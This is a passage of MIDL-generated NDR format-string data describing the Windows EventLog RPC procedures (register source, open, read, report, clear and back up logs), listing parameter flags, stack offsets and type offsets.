*/\n\n\t/* Procedure ElfrRegisterEventSourceW */\n\n/* 418 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 420 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 424 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 426 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 428 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 430 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 432 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 434 */\tNdrFcShort( 0x2a ),\t/* 42 */\n/* 436 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 438 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 440 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 442 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 444 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 446 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 448 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter UNCServerName */\n\n/* 450 */\tNdrFcShort( 0xa ),\t/* Flags:  must free, in, */\n/* 452 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 454 */\tNdrFcShort( 0x5a ),\t/* Type Offset=90 */\n\n\t/* Parameter ModuleName */\n\n/* 456 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 458 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 460 */\tNdrFcShort( 0x30 ),\t/* Type Offset=48 */\n\n\t/* Parameter RegModuleName */\n\n/* 462 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 464 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 466 */\tNdrFcShort( 0x30 ),\t/* Type Offset=48 */\n\n\t/* Parameter MajorVersion */\n\n/* 468 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 470 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 472 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter MinorVersion */\n\n/* 474 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 476 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 478 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 480 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 482 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 484 */\tNdrFcShort( 0x62 ),\t/* Type Offset=98 */\n\n\t/* Return value */\n\n/* 486 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 488 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 490 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrOpenBELW */\n\n/* 492 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 494 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 498 */\tNdrFcShort( 0x9 ),\t/* 9 */\n/* 500 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 502 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 504 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 506 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 508 */\tNdrFcShort( 0x2a ),\t/* 42 */\n/* 510 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 512 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 514 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 516 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 518 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 520 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 522 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter UNCServerName */\n\n/* 524 */\tNdrFcShort( 0xa ),\t/* Flags:  must free, in, */\n/* 526 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 528 */\tNdrFcShort( 0x5a ),\t/* Type Offset=90 */\n\n\t/* Parameter BackupFileName */\n\n/* 530 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 532 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 534 */\tNdrFcShort( 0x30 ),\t/* Type Offset=48 */\n\n\t/* Parameter MajorVersion */\n\n/* 536 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 538 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 540 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter MinorVersion */\n\n/* 542 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 544 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 546 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 548 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 550 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 552 */\tNdrFcShort( 0x62 ),\t/* Type Offset=98 */\n\n\t/* Return value */\n\n/* 554 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 556 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 558 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrReadELW */\n\n/* 560 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 562 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 566 */\tNdrFcShort( 0xa ),\t/* 10 */\n/* 568 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 570 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 572 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 574 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 576 */\tNdrFcShort( 0x3c ),\t/* 60 */\n/* 578 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 580 */\t0x45,\t\t/* Oi2 Flags:  srv must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 582 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 584 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 586 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 588 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 590 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 592 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 594 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 596 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter ReadFlags */\n\n/* 598 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 600 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 602 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter RecordOffset */\n\n/* 604 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 606 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 608 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter NumberOfBytesToRead */\n\n/* 610 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 612 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 614 */\tNdrFcShort( 0x66 ),\t/* 102 */\n\n\t/* Parameter Buffer */\n\n/* 616 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 618 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 620 */\tNdrFcShort( 0x74 ),\t/* Type Offset=116 */\n\n\t/* Parameter NumberOfBytesRead */\n\n/* 622 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 624 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 626 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter MinNumberOfBytesNeeded */\n\n/* 628 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 630 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 632 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 634 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 636 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 638 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrReportEventW */\n\n/* 640 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 642 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 646 */\tNdrFcShort( 0xb ),\t/* 11 */\n/* 648 */\tNdrFcShort( 0x78 ),\t/* X64 Stack size/offset = 120 */\n/* 650 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 652 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 654 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 656 */\tNdrFcShort( 0x8c ),\t/* 140 */\n/* 658 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 660 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0xf,\t\t/* 15 */\n/* 662 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 664 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 666 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 668 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 670 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 672 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 674 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 676 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Time */\n\n/* 678 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 680 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 682 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter EventType */\n\n/* 684 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 686 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 688 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter EventCategory */\n\n/* 690 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 692 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 694 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter EventID */\n\n/* 696 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 698 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 700 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter NumStrings */\n\n/* 702 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 704 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 706 */\tNdrFcShort( 0x8a ),\t/* 138 */\n\n\t/* Parameter DataSize */\n\n/* 708 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 710 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 712 */\tNdrFcShort( 0x94 ),\t/* 148 */\n\n\t/* Parameter ComputerName */\n\n/* 714 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 716 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 718 */\tNdrFcShort( 0x30 ),\t/* Type Offset=48 */\n\n\t/* Parameter UserSID */\n\n/* 720 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 722 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 724 */\tNdrFcShort( 0x9e ),\t/* Type Offset=158 */\n\n\t/* Parameter Strings */\n\n/* 726 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 728 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 730 */\tNdrFcShort( 0xd6 ),\t/* Type Offset=214 */\n\n\t/* Parameter Data */\n\n/* 732 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 734 */\tNdrFcShort( 0x50 ),\t/* X64 Stack size/offset = 80 */\n/* 736 */\tNdrFcShort( 0x104 ),\t/* Type Offset=260 */\n\n\t/* Parameter Flags */\n\n/* 738 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 740 */\tNdrFcShort( 0x58 ),\t/* X64 Stack size/offset = 88 */\n/* 742 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter RecordNumber */\n\n/* 744 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 746 */\tNdrFcShort( 0x60 ),\t/* X64 Stack size/offset = 96 */\n/* 748 */\tNdrFcShort( 0x11e ),\t/* Type Offset=286 */\n\n\t/* Parameter TimeWritten */\n\n/* 750 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 752 */\tNdrFcShort( 0x68 ),\t/* X64 Stack size/offset = 104 */\n/* 754 */\tNdrFcShort( 0x11e ),\t/* Type Offset=286 */\n\n\t/* Return value */\n\n/* 756 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 758 */\tNdrFcShort( 0x70 ),\t/* X64 Stack size/offset = 112 */\n/* 760 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrClearELFA */\n\n/* 762 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 764 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 768 */\tNdrFcShort( 0xc ),\t/* 12 */\n/* 770 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 772 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 774 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 776 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 778 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 780 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 782 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 784 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 786 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 788 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 790 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 792 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 794 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 796 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 798 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter BackupFileName */\n\n/* 800 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 802 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 804 */\tNdrFcShort( 0x122 ),\t/* Type Offset=290 */\n\n\t/* Return value */\n\n/* 806 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 808 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 810 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrBackupELFA */\n\n/* 812 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 814 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 818 */\tNdrFcShort( 0xd ),\t/* 13 */\n/* 820 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 822 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 824 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 826 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 828 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 830 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 832 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 834 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 836 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 838 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 840 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 842 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 844 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 846 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 848 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter BackupFileName */\n\n/* 850 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 852 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 854 */\tNdrFcShort( 0x13c ),\t/* Type Offset=316 */\n\n\t/* Return value */\n\n/* 856 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 858 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 860 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrOpenELA */\n\n/* 862 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 864 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 868 */\tNdrFcShort( 0xe ),\t/* 14 */\n/* 870 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 872 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 874 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 876 */\t0x1,\t\t/* 1 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 878 */\tNdrFcShort( 0x29 ),\t/* 41 */\n/* 880 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 882 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 884 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 886 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 888 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 890 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 892 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter UNCServerName */\n\n/* 894 */\tNdrFcShort( 0xa ),\t/* Flags:  must free, in, */\n/* 896 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 898 */\tNdrFcShort( 0x152 ),\t/* Type Offset=338 */\n\n\t/* Parameter ModuleName */\n\n/* 900 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 902 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 904 */\tNdrFcShort( 0x13c ),\t/* Type Offset=316 */\n\n\t/* Parameter RegModuleName */\n\n/* 906 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 908 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 910 */\tNdrFcShort( 0x13c ),\t/* Type Offset=316 */\n\n\t/* Parameter MajorVersion */\n\n/* 912 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 914 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 916 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter MinorVersion */\n\n/* 918 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 920 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 922 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 924 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 926 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 928 */\tNdrFcShort( 0x62 ),\t/* Type Offset=98 */\n\n\t/* Return value */\n\n/* 930 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 932 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 934 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrRegisterEventSourceA */\n\n/* 936 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 938 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 942 */\tNdrFcShort( 0xf ),\t/* 15 */\n/* 944 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 946 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 948 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 950 */\t0x1,\t\t/* 1 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 952 */\tNdrFcShort( 0x29 ),\t/* 41 */\n/* 954 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 956 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 958 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 960 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 962 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 964 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 966 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter UNCServerName */\n\n/* 968 */\tNdrFcShort( 0xa ),\t/* Flags:  must free, in, */\n/* 970 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 972 */\tNdrFcShort( 0x152 ),\t/* Type Offset=338 */\n\n\t/* Parameter ModuleName */\n\n/* 974 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 976 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 978 */\tNdrFcShort( 0x13c ),\t/* Type Offset=316 */\n\n\t/* Parameter RegModuleName */\n\n/* 980 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 982 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 984 */\tNdrFcShort( 0x13c ),\t/* Type Offset=316 */\n\n\t/* Parameter MajorVersion */\n\n/* 986 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 988 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 990 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter MinorVersion */\n\n/* 992 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 994 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 996 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 998 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 1000 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1002 */\tNdrFcShort( 0x62 ),\t/* Type Offset=98 */\n\n\t/* Return value */\n\n/* 1004 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1006 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1008 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrOpenBELA */\n\n/* 1010 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1012 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1016 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1018 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1020 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1022 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1024 */\t0x1,\t\t/* 1 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1026 */\tNdrFcShort( 0x29 ),\t/* 41 */\n/* 1028 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1030 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1032 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1034 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1036 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1038 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1040 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter UNCServerName */\n\n/* 1042 */\tNdrFcShort( 0xa ),\t/* Flags:  must free, in, */\n/* 1044 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1046 */\tNdrFcShort( 0x152 ),\t/* Type Offset=338 */\n\n\t/* Parameter BackupFileName */\n\n/* 1048 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1050 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1052 */\tNdrFcShort( 0x13c ),\t/* Type Offset=316 */\n\n\t/* Parameter MajorVersion */\n\n/* 1054 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1056 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1058 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter MinorVersion */\n\n/* 1060 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1062 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1064 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 1066 